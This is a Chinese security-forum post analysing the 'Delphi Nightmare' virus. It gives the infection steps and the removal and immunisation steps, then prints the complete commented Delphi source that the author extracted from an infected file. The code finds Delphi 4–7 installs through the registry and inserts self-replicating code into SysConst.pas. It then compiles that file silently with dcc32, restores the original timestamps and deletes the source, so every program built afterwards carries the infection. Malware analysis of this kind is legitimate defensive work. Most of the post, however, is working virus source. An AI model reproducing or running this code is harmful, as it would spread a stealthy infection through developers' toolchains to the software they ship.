首页
社区
课程
招聘
[原创]Delphi梦魇病毒完整源码分析
2021-8-16 17:00 5542

[原创]Delphi梦魇病毒完整源码分析

2021-8-16 17:00
5542

前几天在看老文件时,突然报病毒,查了一下是delphi梦魇,这个病毒很特殊,我以前研究的时候知道有一种病毒是源码病毒,他会把代码插入带目标文件中,这是我看到的唯一一个源码病毒,以前一直没有太在意,今天突然想研究一下,就在网上找源码,但是网上都没有完整的病毒源码,于是我就从感染的病毒文件中提取了源码进行分析。

 

先说说病毒感染的流程:
1、从注册表判断Delphi版本是否为4.0~7.0,如果是就传染,否则不传染
2、读出sysconst.pas文件感染病毒,然后写入到LIB目录下
3、备份sysconst.dcu文件
4、调用dcc32编译sysconst.pas文件
5、编译完成后删除sysconst.pas文件
6、修改sysconst.dcu的时间为原始文件的时间
7、病毒感染完毕

 

清除病毒:
1、到Delphi的LIB目录下,找到sysconst.bak,将其改为sysconst.dcu即可
2、如果没有找到bak文件,从相关版本的安装盘中找sysconst.dcu覆盖同名文件即可

 

免疫病毒:
1、拷贝一份sysconst.dcu,将名字改为sysconst.bak,这样就不会被病毒感染了

 

下面是病毒的完整代码,里面添加了注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
unit Unit1;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
 
type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
 
implementation
 
{$R *.dfm}
var sc:array[1..24] of string=(
  'uses windows; var sc:array[1..24] of string=(',
  'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
  '=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
  'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
  'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
  '(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
  '(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
  'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',
  'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
  ',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
  'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
  ')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
  'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
  'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
  'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
  '0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
  'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
  '@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of',
  'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
  'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
  'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
  '1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
  '$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
  'begin st; end.');
 
//此函数是将字符串中的$替换为单引号
//由于单引号是Delphi中的关键字符,因此sc数组中代码
//里面包含的单引号都用$来表示,当恢复代码时要还原
function x(s:string):string;
var
  i:integer;
begin
  for i:=1 to length(s) do
    if s=#36 then s:=#39;
  result:=s;
end;
 
//这个函数将病毒插入sysconst.pas文件中
//然后再编译成dcu文件
//之后就将pas文件删除
//参数:
//s:pas文件
//d:dcu文件
//e:dcc32文件
procedure re(s,d,e:string);
var
  f1,f2:textfile;
  h:cardinal;
  f:STARTUPINFO;
  p:PROCESS_INFORMATION;
  b:boolean;
  t1,t2,t3:FILETIME;
begin
  //判断是否感染过病毒,避免重复感染
  h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if h<>DWORD(-1) then
  begin
    CloseHandle(h);
    exit;
  end;
 
  //打开sysconst.pas文件
  {'I-}assignfile(f1,s);
  reset(f1);
  if ioresult<>0 then
    exit;
 
  //打开要写的病毒pas文件,这个文件保存在LIB目录下
  assignfile(f2,d+'pas');
  rewrite(f2);
  if ioresult<>0 then
  begin
    closefile(f1);
    exit;
  end;
  while not eof(f1) do
  begin
    readln(f1,s);
    writeln(f2,s);
    if pos('implementation',s)<>0 then //将病毒代码插入到这个关键字的后面
    break;
  end;
 
  //插入sc数组到pas文件中
  for h:= 1 to 1 do
    writeln(f2,sc[h]);
  for h:= 1 to 23 do
    writeln(f2,''''+sc[h],''',');
  writeln(f2,''''+sc[24]+''');');
 
  //插入病毒代码到pas文件中,替换S字符并写入
  for h:= 2 to 24 do
    writeln(f2,x(sc[h]));
 
  closefile(f1);
  closefile(f2);
 
  {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak')); //备份dcu原始文件
  fillchar(f,sizeof(f),0);
  f.cb := sizeof(f);
  f.dwFlags := STARTF_USESHOWWINDOW;
  f.wShowWindow := SW_HIDE;  //不显示编译窗口
  b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
  if b then
    WaitForSingleObject(p.hProcess,INFINITE); //等待直到编译结束
 
  MoveFile(pchar(d+'bak'),pchar(d+'dcu')); //防止因失败而丢失dcu文件
  DeleteFile(pchar(d+'pas')); //删除病毒源文件
  h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if h=DWORD(-1) then
   exit;
 
  //将病毒文件的时间改为原文件的时间
  GetFileTime(h,@t1,@t2,@t3);
  CloseHandle(h);
  h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
  if h=DWORD(-1) then
   exit;
 
  SetFileTime(h,@t1,@t2,@t3);
  CloseHandle(h);
end;
 
procedure st;
var
  k:HKEY;
  c:array [1..255] of char;
  i:cardinal;
  r:string;
  v:char;
begin
  for v:='4' to '7' do //判断Delphi版本是不是4.0~7.0,不是的话就不感染,否则感染
  //从注册表读取Delphi的目录信息
  if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
  begin
    i:=255;
    if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
    begin
      r:='';
      i:=1;
      while c<>#0 do
      begin
        r:=r+c;
        inc(i);
      end;
      re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" '); //感染病毒
    end;
    RegCloseKey(k);
  end;
end;
 
procedure TForm1.Button1Click(Sender: TObject);
begin
  st;
end;
 
end.

看懂之前不要编译执行,以免被感染。


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2021-8-17 13:16 被lrtlrt编辑 ,原因: 格式修改
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 229
活跃值: (330)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
阿龙正罡 2021-8-16 17:57
2
0
xuexi 支持一下 
游客
登录 | 注册 方可回帖
返回